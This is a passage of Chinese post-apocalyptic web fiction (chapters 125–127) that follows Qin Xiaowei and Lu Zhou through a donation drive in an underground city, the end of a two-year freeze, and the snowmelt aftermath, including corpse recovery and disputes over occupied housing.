在张奶奶的指导下，他挑衣服的时候，甚至开始看水洗标，专门挑那些质量好又保暖的！ 秦小薇觉得，这家伙虽然有点嘴贱，但做事的时候……似乎也还行！ 挑出来的衣服太多了，秦小薇的后备箱放不下，她便学着运输物资的车队，把东西打包好之后，再用弹力绳固定在车顶，堆得高高的…… 回到地下城之后，秦小薇帮他们把东西卸下来送回家，就带着朔月骑电动车去健身房上班了。 中午，范槿带着她自己做的黑暗料理来健身房吃饭的时候，也和秦小薇说起了募捐的事。 虽然巡逻队并不算正式编制，但上面也安排了捐赠任务，还是强制的。 范槿：“上面的人好烦啊，竟然要求我们捐五斤食物或者是一件棉衣，我身上这件羽绒服都是家里东拼西凑弄出来的，里面的鸭绒还有一部分是你赞助的，我哪拿得出棉衣？””唉，我还是捐食物吧！我和我爸省一省，五斤口粮还是能省出来的！” 虽然嘴上说着抱怨的话，但她脸上，却没有多少不情愿的神情。 秦小薇：“饭饭，我记得你之前挺多棉衣啊，那些都没带来地下城吗？” 范槿：“带了，但那些衣服，前几年冬天穿还行，今年穿，估计会冻死人，我要是捐出去，那不是坑人吗？” 从秦小薇这蹭了些菜，范槿一抹嘴巴，就回去上班了。 两天后，社区的工作人员来富人区收物资，还提前发了短信通知秦小薇。 当天，她也没有出门，一直在家里等工作人员过来。 原本他们是推着小推车过来的，后来发现，大家捐的东西太多了，用小推车根本装不下，干脆打电话调了一辆大卡车过来。 因为是为战区募集物资，这个时候也没人抱怨，在地下城开油车会污染环境。 虽然市政只逮着他们富人区薅羊毛，但捐东西的时候，大家都很积极。 秦小薇有个邻居找关系在养殖区那边寄养了两头猪，知道战区的战士没肉吃，他直接让养殖区那边的工作人员，把两头还没出栏的猪都杀了，全都捐给战区的战士。 秦小薇多看了几眼那两头猪。 秦小薇：有人捐猪，那她也捐几头吧！ 晚上就找陆昼来空间里杀猪！ 隔壁的双胞胎对捐物资这事也很积极，凌悦悦还试图把自己陪睡的小熊也塞进捐赠的物资里，工作人员告诉她，战士们用不上小熊，她才满脸失望地把小熊抱回家…… 富人区这边也有人会在同城APP上发帖，前几天，就有人发帖说了工作人员来富人区募捐的事。 今天，工作人员过来收东西的时候，还有人拍了照片和视频，在网上“现场直播”。 帖子发出去没多久，就被网友们自发顶成了热门帖。 还有人收拾了家里的物资，找富人区的网友帮忙跑腿，试图把自己的东西塞进大家捐的物资里。 公租房那边没有专门的工作人员收捐的物资，有人就直接跑到市政的办公地点，或是警察局，把东西强行塞给里面的工作人员…… 秦小薇捐完东西，准备骑车出去上班的时候，发现出富人区的那扇四米多宽的大铁门被外面的人堵了个严严实实，根本就出不去！ 看到她之后，外面还有人冲着她招手，想让她帮忙跑个腿，把捐的东西带给负责募捐的工作人员。 秦小薇：大家都好积极啊！ 外面堵成这样，她今天也出不去了，秦小薇担心产生纠纷，没帮他们跑腿，只告诉他们，自己会回去告诉负责募捐的工作人员这里的情况，看那边忙完了，能不能把车开过来，接收他们捐赠的物资…… 可能是因为大家捐的东西实在是太多了，人手不够用，她回去的时候，陆昼竟然也从家里出来帮忙了。 见他也在，秦小薇便过去和他说了大门被堵的事。 第126章 第126章晒太阳（双更合一）…… 陆昼应了一声,示意自己知道了。 陆昼：“周科长他们都知道这事了，已经安排人过去处理了。” 秦小薇猜测，他口中的“周科长”应该是募捐工作的负责人。 她看了眼他手上的动作,又瞟了一眼陆昼的手机屏幕,问他：“要登记得这么细吗？” 他们捐赠的每样东西,都被陆昼用手机拍照，登记在系统里,系统还有自动归类功能 ,实时显示有多少物资入库，周围其他的工作人员,也在做着同样的事。 因为每样东西都要拍照，再加上大家捐赠的物资又多又杂，这给工作人员增加了很多工作量。 秦小薇之前听他说过,这些物资,工作人员检查一遍，确定没问题，后天就会用运输机打包送去战区,时间这么紧急，应该尽量简化工作流程吧？ 陆昼手上动作不停,他抽空答道：“现场入系统是为了防止有人浑水摸鱼,吞了捐赠的物资，系统是军区那边做的，东西入库后,那边就能看到……之前别的地下城有人故意把收上来的东西换成烂肉、破衣服牟利，为了杜绝这种情况，他们就弄了这个系统……” 秦小薇想到了大家捐赠物资的热情，忍不住皱眉：“这也太恶心了！最后怎么解决的？物资追回来了没？” 陆昼点头：“当然,现在可不是以前，东窗事发前还能藏到外地躲起来，或是转移资产去国外，继续逍遥法外。外面冰天雪地，人都被关在地下城，犯了事一抓一个准……你不去上班吗？” 秦小薇叹了口气，摇头：“大铁门被堵住了，根本出不去。” 陆昼：“那你帮我把那袋物资搬过来拆开……” 秦小薇：“你使唤我也太顺手了吧！” 虽然嘴上抱怨，但她还是依言把他指的物资包搬了过来：“然后呢？” 陆昼：“把里面的棉袄找出来，递给我……” 可能是因为两人经常在空间里一起收拾物资，秦小薇恍然发现，自己和陆昼这家伙竟然配合得非常默契，他一个眼神，她就知道他要什么…… 不知不觉中，他们已经这么熟了吗？ 虽然每样东西都要登记，非常麻烦，不过社区和市政都安排了不少工作人员过来，快中午的时候，他们终于把所有的东西都登记好拉走了。 秦小薇锤了下自己的腰，又伸了个懒腰，活动了一下身体。 她凑到陆昼身边，小声开口道：“你晚上要加班吗？来我家一趟？” 陆昼想了会，才回道：“估计会有点忙，我尽量过去……” “行！”秦小薇冲着他摆摆手，推着电动车就要离开，“走了！朔月，回家吃饭了！” 朔月非常乖，上午，她在外面帮忙的时候，它就一直在边上守着，偶尔帮忙叼点东西，不吵也不闹。 “等等！”陆昼戴着手套的右手勾住了她的帽子，“我中午估计没时间吃饭，给我一袋面包。” 他指了下她挂在电动车上的背包：“我知道你包里有吃的。” 秦小薇有些莫名：“……你家就在附近，家里还有厨师专门做饭，干嘛跟我要吃的？” 她伸手把自己的帽子从他手上扯了出来：“给家里打个电话让香肠给你送饭吧！刚好它现在失业了，没活干……” 说着，她就骑上了电动车，风一般离开了。 陆昼垂眸看了眼自己空荡荡的手心，许久后，露出一个有些无奈的笑。 上午一直在帮忙登记捐赠的物资，秦小薇根本没时间看手机，到家后，她脱掉外套，从仓库里随便拿了份有肉的便当出来，就一边往嘴里塞食物，一边查看网上的消息。 和前两天不同，今天上午，同城APP一直在被物资捐赠的事刷屏。 市政依旧没在公租房那边设置捐赠点，只接收了大家主动送到富人区门口的物资，还在门口放了三个大喇叭，提醒大家捐赠物资的时候量力而行…… 很多人都想出份力，虽然工作人员一直在提醒大家要考虑自己的实际情况，量力而行，但还是不断有人带着物资，从地下城各处赶过来……队伍很长，隔壁有好几条街都被占据了。 还有网友在现场直播富人区大门口的情况，视频里，有人在登记、捐赠物资，有人试图和工作人员打听战区的情况……非常热闹。 健身房的员工群也在讨论这件事，秦小薇发现，健身房的教练竟然也捐了东西，知道巡逻队有捐赠的任务后，她们也没来排队，而是直接把物资给了认识的巡逻队成员，让他们帮忙转交…… 直播一直持续到晚上才结束，倒不是没人再赶过来，而是时间到了，地下城要熄灯了，他们不得不散了。 晚上，秦小薇在沙发上等到十点半，见陆昼一直没来，就回房间睡觉了。 半夜，她睡得迷迷糊糊的时候，手机铃声响了：“喂？” “开门，我下班了。”陆昼的声音从听筒里传了出来。 秦小薇睁开一只眼睛，看了下时间，凌晨一点半，想到自己叫他过来的目的，她沉默了，纠结着要不要让他回去…… 几分钟后，她穿戴整齐，打开大门，放陆昼进来。 他身上有些脏，袖口沾了不少灰尘，一看就知道，白天没少干活。 看他精神不错，秦小薇找出之前杀猪穿的防水连体衣和超长乳胶手套扔给他：“换上，干活。” 陆昼看着她扔过来的东西皱眉：“你大半夜叫我过来，就是为了杀猪？” 他忍不住揉了下眉心：“秦小薇，你不觉得你的行为很离谱吗？” 秦小薇：“如果不是你白天一直在工作，会拖到现在？” 要不是运输机后天就要走，他们明天还得运物资，她也不会大半夜起床干活……她也很困的！ 陆昼：“我的错？” 让人大半夜帮忙干活，说实话，秦小薇还是有那么一眯眯愧疚的，她随口安抚道：“干完活请你吃夜宵……” 陆昼这才脱掉外套，换上连体衣。 陆昼：“我要跟着运输机去C省送物资，可能会在那边耽搁几天，你要是有事，就去隔壁找我大伯！” 秦小薇：“我一直在地下城待着，能有什么事？” 陆昼：“立flag可不是什么好习惯！” 第一次杀猪的时候，两人因为不熟练，猪血都浪费了。 这次他们准备充分，虽然中间也有些“小波折”，但因为有了上次的经验，整体还算顺利。 不过，杀猪是个体力活，连着杀了几头猪，结束的时候，两人都有些累。 秦小薇这回没有吝啬，从仓库里拿了不少之前做好的烧烤出来招待陆昼。 陆昼：“这几个月消耗了不少肉，笼子里的兔子，可以让它们继续繁殖了，不用再分开关了……” 秦小薇朝牲畜棚的方向看了一眼，可能是被他们杀猪的动静吵醒了，里面不断有动物的叫声传出，十分热闹。 秦小薇嘟囔了一句：“肉还够吃……” 虽然这么说，她却没反驳他的提议。 陆昼：“有啤酒吗？” “大半夜喝什么啤酒？”秦小薇看了他一眼，见他眉梢眼角都带着笑，便问他，“干了这么多活还笑得这么开心？你今天心情很好？” 陆昼轻轻应了一声：“省里说要调物资给我们宁市……” 秦小薇有些惊讶：“申请通过了？” 因为从其他城市过来的难民太多，高层一直在和省里申请更多的物资分配，但省里一直没有答应，前几个月，为了延长物资供应的时间，官方还不得不缩减普通人购买食物的额度。 现在派出去的车队弄到了物资，不用再求上面支援了，怎么上面又同意了？ 陆昼解释道：“上面知道我们要给军区供应医疗物资，怕食物不够，我们这会乱起来，影响工厂的正常生产……” 秦小薇：“……”他们之前就不担心宁市会乱起来吗？ 虽然心中吐槽，但听到这个消息，秦小薇还是挺开心的。 其实，大部分普通人的愿望还是很朴实的，只要能保证他们最基本的生命需求，他们就能乖乖听官方的指挥…… 物资多了，地下城也会越来越好吧！ 秦小薇找出两瓶啤酒，把瓶口卡在桌角，用手掌轻轻一拍，瓶盖就飞了，她握着玻璃瓶和陆昼碰了一下：“确实值得庆祝！” 喝完酒，吃完烧烤，秦小薇就把陆昼送出空间了，还和他约好了，明天把他们要捐给军区的另外几车物资“偷渡”回地下城让陆昼帮着处理。 除了秦小薇自己准备的，陆昼还另外准备了一些药和食物，一共凑了三车…… 一转眼，一年多的时间过去了。 因为从风城弄回来的那些生产线，最近一年，红浦区有成为另一座“药城”的趋势，可能是军队把红浦区的名声传了出去，最近这一年，时常有其他地下城的人，派飞机过来买药。 从风城搬回来的那些生产线24小时开机，工人三班倒干活，为宁市换到了不少物资，连带着住在南湖区和江安区难民的生活也变好了许多，监狱的死亡率直线下降，就连那些还住在地面上的难民，也都添了些保暖的物资…… 因为上面提前做了准备，这一次，宁市的普通人并不需要像陆昼记忆中那样，在天灾中挣扎求生的同时还要面对战争的阴影，躲避随时可能从天而降的炸|弹和对他们敲骨吸髓的敌人…… 这一次，军队不止守住了防线，还打回了敌人的老巢，让对方赔了他们不少物资！ 虽然战争已经结束，但军队一直驻守在边境线，地下城也持续向军区和附近其他的地下城输送医疗物资…… 虽然有了药品换物资，地下城依旧不断派车队去其他空城寻找有用的东西。 后面几趟，虽然不像第一趟那样收获满满，但派出去的车队也没有空着手回来。 肖琳琳和范妈妈几乎每次都 会跟着车队一起出门，可能是因为长时间在外面待着，车队的众人竟然开始适应外面的低温。 他们回到地下城后，穿个短袖再套个秋天的厚外套就能出门，和出门帽子手套围巾棉衣全副武装的普通人格格不入…… 有些人很羡慕他们，觉得他们跟着车队出去跑几个月，不仅能攒一堆物资，还能培养出不怕冷的“特殊体质”。 但只有他们自己才知道，这种“特殊体质”让他们付出了多少代价。 这一年多，他们手脚、耳朵上的冻疮就没好过，有些脸上也长了冻疮，留下了深黑的疤痕，现在这种条件下，这几乎就约等于毁容。 就算每天晚上都裹着两三层睡袋，寒意依旧不断往骨头缝里钻，出门在外的大部分日子，他们都冷得睡不着。 有时候路上遇到了突发情况，被困在风雪中，为了节省燃料，他们还得在零下几十度的天气里啃冷食，有时候食物冻得太硬，他们牙龈都啃出血了，都只能啃下一点沫沫。 一顿饭吃得身体里里外外都透心凉，肠胃受了凉，还会拉肚子…… 要不是地下城从风城弄了生产线，他们出门的时候，又带了足够的物资，光是拉肚子，就能拉到队伍减员…… 好在，持续了两年多的漫长冬季终于要结束了，春天终于要来了！ 和降温的时候一样，温度也是一夜之间的事。 不过，因为地下城在地底，大家的感受还不太明显。 普通人也就觉得，没开地暖也不冷了…… 但那些还住在地面上的难民，感受到外面的温度变化后，全都激动地哭了出来！ 两年了，就在他们以为漫长的余生都会活在冰雪中时，一夜之间，大地回春，河面开始冰消雪融。 预警中心早早就发了短信，提醒大家低温将要结束的消息，这一天，地下城许久没见到阳光的普通人纷纷涌出地下城晒太阳。 秦小薇也给员工们放了一天假，让大家出去晒太阳。 不只是普通人兴奋，就连住在富人区的这些有钱人，也非常兴奋，一大早，隔壁的双胞胎就过来敲秦小薇的门。 凌悦悦在院子外大声喊道：“姐姐，电梯那边现在没人排队，咱们赶紧出去！等一下人变多了，就要走楼梯了……” 公租房那边的出入口配的都是扶梯，但富人区这边，是直达的电梯，因为有电梯，那长长的逃生通道，平时几乎没人走，地上和墙面都积了一层厚厚的灰。 但今天为了出门晒太阳，六点钟地下城一开灯，他们就开始往地面跑，有些人挤不上电梯，干脆就步行出地下城了。 凌悦悦：“姐姐！” 凌耀耀：“薇薇姐姐！薇薇姐姐！” 秦小薇一打开卧室的窗户，就看到双胞胎正蹦跳着朝院子里张望，因为她家院墙上全是密密麻麻的铁蒺藜，两人也不敢扶墙，只敢在原地蹦跳。 秦小薇：“你们两个小不点别喊了！我换件衣服，马上下来！” 凌悦悦：“姐姐，你快点！” 几分钟后，秦小薇牵着狗，和双胞胎一起坐电梯去了地面，在电梯里，秦小薇还碰到了刘钰婷。 她现在算是健身房的常客，之前的女子防身课上完之后，她又续了六十节散打课，还在健身房办了年卡。 现在秦小薇碰到她，也不像一年多前那么尴尬了，偶尔还能聊上两句。 刘钰婷：“你也出去晒太阳吗？” 秦小薇应了一声。 刘钰婷：“总算是出太阳了！以前我起床的第一件事就是涂防晒，在地下城住了两年多，才知道没有太阳的日子有多痛苦……我脖子上的湿疹，用了一堆药都不见好，搞了光疗也没用，反反复复的。” “希望这次升温搬出去，湿疹能彻底治愈……” 地下城虽然有地暖，但长期不见阳光，这两年多，有很多人因为晒不到太阳身体出现问题。 比如说抑郁自杀，视力调节功能异常、近视人数大大增加，呼吸道疾病的患病率增加…… 虽然，官方免费发了维生素D补剂，地下城也有人开了光疗馆，模拟自然光，让普通人“晒太阳”，但不可避免地，依旧有不少人的生活因为长期不见阳光出现了许多问题。 秦小薇：“你今天就搬家吗？” 刘钰婷：“家里还在收拾，等墙重新粉刷了再搬回去，估计还得等两天……” 站在一旁的凌悦悦忽然插嘴：“姐姐，你也要自己刷墙吗？” 能住别墅区的，很多以前都是一个圈子里的，住了两年多，大家现在基本上都互相认识了。 刘钰婷：“我找了人，你们两个小不点要自己刷墙？” 凌悦悦叹了口气，小大人似的开口道：“爸爸这个大笨蛋，忘了提前找工人，妈妈说现在找不到人了，只能我们自己来！” 秦小薇伸手捏了下她肉乎乎的脸蛋，玩笑道：“这么不想干活啊？这样，你把你这个月的零花钱都给我，我帮你干怎么样？我很有经验的，保证干得又快又好！” 小姑娘下意识捂住自己手腕上的儿童手表，她纠结了一会，还是摇了摇头：“姐姐，我还是自己来吧！” 秦小薇被她萌到了，又对着小姑娘的脸蛋一顿蹂躏。 很快，电梯门打开了，一眼望去，全是黑压压的人头…… 早上七点多，太阳已经出来了，阳光洒在身上，让人觉得无比温暖。 其实，这两年外面也不是每天都下雪，也出过太阳，但因为温度太低，连带着阳光都让人觉得寒冷。 有小朋友在还没化的雪地里撒欢；还有人带了“装备”，在地上放了桌椅，开始就地煮咖啡热面包，吃起了早饭……大家的状态各不相同，但所有人脸上都带着笑。 秦小薇被周围的环境感染，脸上也不自觉带上了笑容。 升温太快了，只短短两天，城市各处积攒了两年的“雪山”就开始迅速瘦身。 混着冰的雪水流得到处都是，外面甚至开始涨水，好在地下城在建立之初，就考虑到了这一点，这才没被外面暴涨的水位淹没。 虽然出行不方便，但大家还是得出门干活——虽然官方每天都会派移动物资车出去，售卖食物给地面上的难民，但这两年，依旧死了不少人。 积雪太厚，铲雪也不容易，这些死在野外的人，他们一直没管，任由他们的尸体掩埋在积雪之下。 但现在雪化了，要是不及时把尸体处理了，估计得发生瘟疫…… 警察和巡逻队都被派了出去，一部分人处理他们堆放尸体的“尸山”，还有一部分人坐着 皮划艇，在城市各处巡逻，寻找积雪中掩埋的尸体…… 见外面被水淹了，健身房的员工们也不再想着晒太阳的事，老老实实待在健身房上班，打算等雪化完了再出去。 秦小薇忙里偷闲，和肖琳琳一起窝在角落里玩俄罗斯方块。 车队刚好赶在升温之前回来了，她这几天闲着没事，一个人待在家里又嫌无聊，便天天过来找秦小薇。 秦小薇盯着屏幕，飞快按着游戏机的按键，她问肖琳琳：“琳琳，这趟的工资都发下去了吗？” 肖琳琳：“发了，昨天就给他们结算好了，大宏要物资，我就没给他换成新币……” 江安区和南湖区早就开始以物易物了，钱只能在超市里买到限量的物资，一年前，市政推出了只能在宁市使用的新币，把市民们账户里的余额和手上的现金，按照一定的比例，兑换成了新币。 现在，银行和超市已经不收原来的现金了，只收新币，普通人买东西也只以新币结算。 因为新币只能在宁市使用，外面某些地下城依旧在用原来的现金，所以并不是所有人都兑换了新币，还有人存了不少现金在家里，以备不时之需…… 秦小薇也留了一部分，不过她只留了几万块现金，账户里大部分钱还是换成了新币。 不管怎样，宁市都有陆昼这个“金手指”在，要是某天，宁市官方也倒台了，那不管新币旧币，都只是一串数字、一堆废纸，换不换都一样…… 第127章 第127章雪崩（双更合一）…… 两人简单聊了些车队的情况,车队的大事小事范妈妈和肖琳琳几乎全包了，秦小薇只需要在他们出发之前提供路上的物资，然后在家里坐等他们带物资回来就行了。 和健身房一样,车队现在也算是秦小薇稳定的收入来源之一。 肖琳琳：“薇薇,等外面雪化了,你会搬出地下城吗？” 这是现在很多人纠结的问题，地下城虽然不见阳光,进出也不方便,不仅要刷脸刷身份证，还得坐十几分钟电梯,但和外面的安全屋相比，地下城的房子至少是钢筋水泥建的，还是比较“宽敞”的四人间。 有些人倾向于继续住地下城,然后白天去外面工作,还有人则希望市政或是房地产开发商能在地面建房子，让他们搬回地面，重新生活在太阳之下。 在地下城生活了两年多,几乎人人都意识到了，生活中没有太阳会多麻烦。 就算地下城有号称可以模拟阳光的光疗馆,但体验过就知道了,那地方治治病还行，体验…… 想到陆昼说的未来的情况，秦小薇对这事倒是没什么纠结的。 秦小薇：“主店被占了两年多,估计要重新装修，我应该会回去待一段时间，等那边的店铺上了正轨，再搬回来……” 说话间,一局游戏结束，肖琳琳重开一局，闻言，她有些担忧地开口道：“公寓楼那边的房子……还能要回来吗？我一年多前出任务路过的时候看过，房子已经被改得不成样子了，里面还塞了好几百人……” “我听说，这一年多地下城除了移动物资车，根本没安排人过去管理，那边都成宁市的‘三不管’地带了！” 肖琳琳的担心十分正常，一般房子有纠纷，和一家扯皮就够麻烦的了，更何况是和好几百人，双拳难敌四手，人家一个人海战术，你就没招了…… 鉴于宁市这几年的情况和陆昼他们小区的“先例”，秦小薇对这事倒是不太担心。 因为有了风城的药品生产线和派出去的车队，这两年，宁市的“元气”恢复了不少，要是上面真的下定决心管那些人，也就是一两个月的事。 至于继续放任那些难民，把地面让给他们，其余几百万人蜗居在地下……秦小薇觉得，高层应该不会这么“大方”。 否则，巡逻队和警察也不会全员出动，处理地面上的尸体…… 连着打了两个小时游戏，肖琳琳又帮着招待了几个客人，见店里的客人都回家吃中饭了，她就勾住秦小薇的脖子，要和她一起去外面吃饭。 隔壁前几个月开了家铁板烧店，虽然食材吃来吃去就那几样，但厨师的手艺特别好，总能把简单的食材做得格外美味。 除了价格很贵，几乎没什么缺点。 肖琳琳这一年多几乎都带着车队在外面跑，没什么花钱的地方，再加上车队收入高，路上又经历了太多事，她的心境和消费观也渐渐改变，开始奉行“今朝有酒今朝醉”。 现在进这样的店，是眼都不眨一下。 秦小薇去办公室拿了早上带来的食材，和她一起去了隔壁。 刚进去，秦小薇就把手上泡好的鱿鱼干递给服务员：“老规矩，待会上菜的时候，麻烦一起做了，结账的时候另外算服务费。” 服务员认识秦小薇，应了一声，就朝着后厨走去，离开之前，还不忘让另一个服务员过来招待她们。 以前，很多饭店都不允许客人自带食材和酒水，但地下城情况特殊，店里食材种类也不多，老板也就没做太多限制。 只要是店里没有的食材，店里都可以帮忙加工。 见大铁板周围还有位置，两人便直接坐下了——坐在铁板周围，不仅能看厨师现场做铁板烧，还能看厨师表演才艺。 纵然已经看了许多遍，肖琳琳每次过来，还是要坐铁板边上。 刚坐下，肖琳琳就拿起菜单，熟练地点起了菜：“五花肉来一份，这一排六个蔬菜都要一份……招牌烤鸡今天有吗？没有啊，我再看看……这个烤鱼是新品吗？限购一份？那就来一份……薇薇，你看看，要不要加什么。” 秦小薇：“加一份米糕，再来一杯橘子果茶……琳琳，你要饮料吗？” 肖琳琳：“我喝水就行了。” 秦小薇：“那就这些吧！” 两人的点单速度非常快，不到三分钟，就解决战斗。 这家店做铁板烧的铁板非常大，周围能坐十来个人，除了秦小薇他们，此时周围还坐了其他人，有些人还在纠结着点什么菜，有些人已经点好菜了，正在聊天。 “唉，外面怎么就涨水了呢！我还没晒够太阳呢！” “其实你现在扛个皮划艇出去，也能晒太阳！” “那还是算了！我不会游泳，之前暴雨涨水的时候，我坐过我爸用塑料管扎的筏子。” “当时第一次坐塑料筏子，没经验，我爸太胖了，我俩刚上去船就翻了，当时呛了好多水，我还以为自己要淹死了……我有心理阴影，后面再也没坐过船，家里买东西都是我爸妈去。” “……” “你们知不知道？枫林路那边发生雪崩了！好像还埋了好几个人……” “枫林路？在哪啊？我怎么没听过这个地方？是巡逻队和警察被埋了吗？” “在宁市下面的护县，离咱们这挺远的……应该不是巡逻队和警察，不知道是咱们宁市的还是外来的难民，好像是想趁着雪化了，去外面弄点物资，然后同伴就遇到事了……有人发了帖子求助，一直在首页飘着呢！” “我看看……对了，我老板最近在找人盖房子，你不是缺活干吗？要不要来？” “工资怎么算？给新币还是给物资？” “……” 店里十分热闹，秦小薇和肖琳琳说着话，耳边时不时传来其他客人的说话声。 厨师的动作很快，没多久，她们点的菜就陆续做好了。 两人拿起筷子，开始吃饭。 看到她们面前的鱿鱼，边上的客人惊喜道：“老板，你们店里有鱿鱼了？我要加一份鱿鱼！” 厨师连忙开口道：“不是店里的，是人家自己带来的，让我帮忙加工……” 那位客人的脸上顿时写满了失望：“唉，好多年没吃到海鲜了！不知道这辈子还有没有机会……” 他的 同伴把点的凉拌海带丝全给了他：“吃点海带吧！都是海里长的，差不多！” 客人：“这都是不知道放了几年的僵尸海带了，和正经海鲜没法比……” 说着，他三两口吃完了小碟子里的凉拌海带丝。 他的同伴：“……” 秦小薇：“……” 吃完了海带，那人又过来找秦小薇搭话，问她鱿鱼是从哪弄的。 秦小薇也没有隐瞒：“和车队的人换的。” 之前问话的客人直拍大腿：“我怎么没看到同城APP上有人卖鱿鱼？哎呀！错过了！” 肖琳琳：“鱿鱼干少见，我们回来的路上就分了，根本没拿到网上卖。” 那人看了肖琳琳一眼，惊讶道：“哎，你是车队的？” 肖琳琳点头。 聊了两句，听肖琳琳说她已经在车队待了一年多了，他更惊讶了：“厉害啊！你一个女的，竟然能在外面坚持下来？我听说有些男的都坚持不下来，刚出宁市就哭着喊着要回家！” 肖琳琳“哈哈”笑了起来：“有些新队员确实是这样的，但大部分人，冻几天也就习惯了，要是实在坚持不下去，我们会把他们丢在沿途的地下城，等回来的时候，再接他们……” 围在大铁板边上的人渐渐聊到了一起，一顿饭吃得还算愉快。 吃完饭，两人准备回办公室午睡。 但她们还没趴下，手机就开始震动，寝室群不断有消息弹出来。 【范槿：琳琳，我终于知道你当初为什么能那么果断地辞职了！搬尸体的活真不是人干的！】 【范槿：上午还碰到了一具被啃了一半的尸体……太恐怖了！】 【范槿：我现在是吃什么吐什么……再干下去，我觉得我不是饿死，就是恶心死！】 【范槿：想死.jpg】 【肖琳琳：往好处想，找尸体的工作只是暂时的，清完市区这一波，你就能回地下城了。】 【肖琳琳：我手上有几块特别香的香皂，我送你一块吧，下班后好好搓一搓，晚上可以睡个好觉……】 【范槿：好QAQ】 可能工作压力太大了，范槿在群里抱怨工作的频率直线上升，段霞虽然没有抱怨，但听她发的语音，也能听出来，她这两天也被工作“摧残”得不轻。 说话的时候，声音里都带着一股疲惫。 之前高温的时候，香肠就帮着在宁市各处找热死的尸体，它干这活也算是“熟手”了。 因此，上面的活刚刚分派下来，香肠就被市局的人“借”走了，天天忙到晚上九十点才回来。 可能是已经忘了上次在外面冻得瑟瑟发抖的经历，据陆昼说，香肠出门的时候特别兴奋，完全把他这个主人忘到了一边。 这天晚上，秦小薇下班后，陆昼搬了一大箱药过来找她：“新到的货，给你补点库存。” 秦小薇翻了下箱子里的东西，拒绝道：“朔月还在家里呢！我怕毒死它了……我搞点物理措施就行了！” 陆昼却没把东西搬回去，他把箱子放在茶几上，直接在她对面的沙发上坐下了：“那放你空间里，有备无患。” “行吧！” 见他似乎没有离开的打算，秦小薇问他：“还有事？” 他的右手摩挲着左手腕上的手表，过了好一会儿，才开口道：“下周三，你有空吗？” 秦小薇低头想了想，才回答：“不确定，看外面的情况，到时候可能得忙总店的事……你有事？要多久？我应该能空点时间出来。” 看她这副公事公办的模样，陆昼叹了口气：“那就……先预定你晚上六点到九点的时间。” 秦小薇点头：“行，我尽量空出来。” 说完了事，陆昼又坐了会，和秦小薇闲聊了几句白天健身房的事，才离开。 时间又过了三天，因为没下雨，河道都是通的，地面上的水位倒是没再上升，只是因为积雪化得太快，之前的积雪又太厚，给外出执勤的工作人员带来了不少麻烦。 比如说，外出的时候，市区这两年才形成的“雪山”会突然发生“雪崩”，倒霉的话，可能会被埋，积雪接触水后会坍缩成冰，增加救援的难度。 水位不高不低，不能用大船，只能用小船或是皮划艇，尸体装多了可能会翻船，他们捞完尸体后，还得在冰水中和尸体共浴…… 因为温度变化，积雪变成了冰，直接把尸体冰封住了，有些尸体“粘”在地上，拿铁棍都翘不起来！ 因为化雪，很多屋檐“长”出了长长的冰溜子，这些冰溜子并不结实，不注意的话，可能会被掉下来的冰溜子开瓢…… 虽然极寒天气持续了两年多，但这么大面积的积雪融化，还是第一次，据范槿说，队伍每天外出前，队长都要跟他们强调一遍，出外勤的时候要注意安全。 还编了个“出勤顺口溜”，让他们每天出门之前背一遍…… 地下城的居民之前收到预警短信的时候，还以为升温之后就可以正常外出了，万万没想到，后面还有化雪这一道坎！ 因为外面涨水，他们在地下城关了一天又一天，一些在外面只能住安全屋、根本不打算搬出地下城的普通人觉得无所谓，多等几天就多等几天吧！ 反正按照目前这趋势，积水肯定会顺着河道流去下游，他们早晚有“重见天日”的那天。 但有些人在外面是有房子的，地下城的公租房对他们来说实在是太过拥挤，他们已经迫不及待想要搬回去了，在地下城的每一天都觉得度日如年…… 这天，秦小薇在店里招待客人的时候，一个男人找了进来。 前台拦住了他：“不好意思，我们这是女子健身房……” 男人：“哎，我不是来健身的！我找你们店长，我是他邻居！” 男人的嗓门非常大，秦小薇听到门口的动静，朝着他们看了过去，见秦小薇看过来，中年男人激动地蹦跳着和她挥手。 男人：“哎，刘……秦小薇，你还记得我不？我住你隔壁，之前我家手机充电后着火了，你还帮我灭过火……” 秦小薇和客人打了个招呼，就朝着门口走去。 男人说的那事秦小薇还有印象，当时正值高温，因为频繁的火灾，网上几乎天天宣传灭火器该怎么使用，几岁的小朋友都知道灭火器该怎么用，但这个人，家里起火之后，却因为不会用灭火器，硬说灭火器坏了。 然后抱着灭火器，在楼道里到处敲门，喊着“着火了”，让大家赶紧跑…… 秦小薇上下打量着他，几乎没认出来。 她记得，之前住公寓楼的时候，这人看着还挺年轻的，怎么两三年不见，他一下子胖了这么多？ 完全从二十多岁的年轻小伙变成了三四十多岁的油腻胖大叔。 要不是之前认识，秦小薇根本不敢相信，他和自己是同龄人……岁月真是把杀猪刀啊！ 秦小薇：“你找我有事吗？” 男人四处看了看，然后指着外面一家店开口道：“是有点事，要不我们去那边喝点东西，边喝边说？” 秦小薇想了想，点头答应了。 进入热饮店后，随便点了两杯饮料，男人就说起了他的来意：“公寓楼那健身房，还有员工宿舍，你们老板应该都买下来了吧？” 听到他这么问，秦小薇大概明白了他的来意，她点头应了一声。 男人：“现在升温了，你们老板就没想着把店拿回来？我昨天特地回去看了，咱们那公寓楼还是好好的！楼顶的积雪都被清干净了，一层都没塌，不像楼下的安全屋，全压变形了，开发商建房子的时候，用的都是好材料……那公寓楼，我看再住个几十年都不成问题！” “我记得你们那店有好几百平，这么大一个地方，让人家占着也太可 惜了！房子收回来，就算只收租金，下半辈子也不用愁了！” “之前是太冷了，没办法，只能住地下城，你看，现在都升温了……你们老板就没什么想法？” 秦小薇：“没听他提过这事……你之前住的那间公寓应该是你自己的吧，你有什么想法？” 男人挠了挠头，叹了口气：“嗨！我当然也想把房子要回来！但我昨天回去了一趟，楼里的气氛特别奇怪，我一进去，他们就直勾勾地盯着我，那眼神，感觉要把我吃了似的，特别吓人……” “我那屋住了七个人，看着都挺能打的……最近网上不是经常有巡逻队的人抱怨，说总是碰到一些骨头架子，只剩一半的尸体之类的，说外面有人吃人……我就怕楼里住的也是那种人，我、我就直接回来了！” 秦小薇：“……” 男人继续开口道：“我想着，你们老板和九楼那位都挺有本事的，应该不会让自己的房子一直被人占着，我就想着，你们去要房子的时候，能不能带上我？顺带把我那公寓也要回来！” “放心，我肯定会给报酬的！就是……邻居一场，这钱能不能少给点？” 秦小薇：“……” 她原本还以为，这人是想把所有的住户都联合起来，一起把房子要回来，毕竟公寓楼有些住户，是高温过后，提前得到了消息才买了房子的，也算是有点人脉……万万没想到，他纯粹就是想占她的便宜！ 她随口敷衍了几句，就把人打发走了。 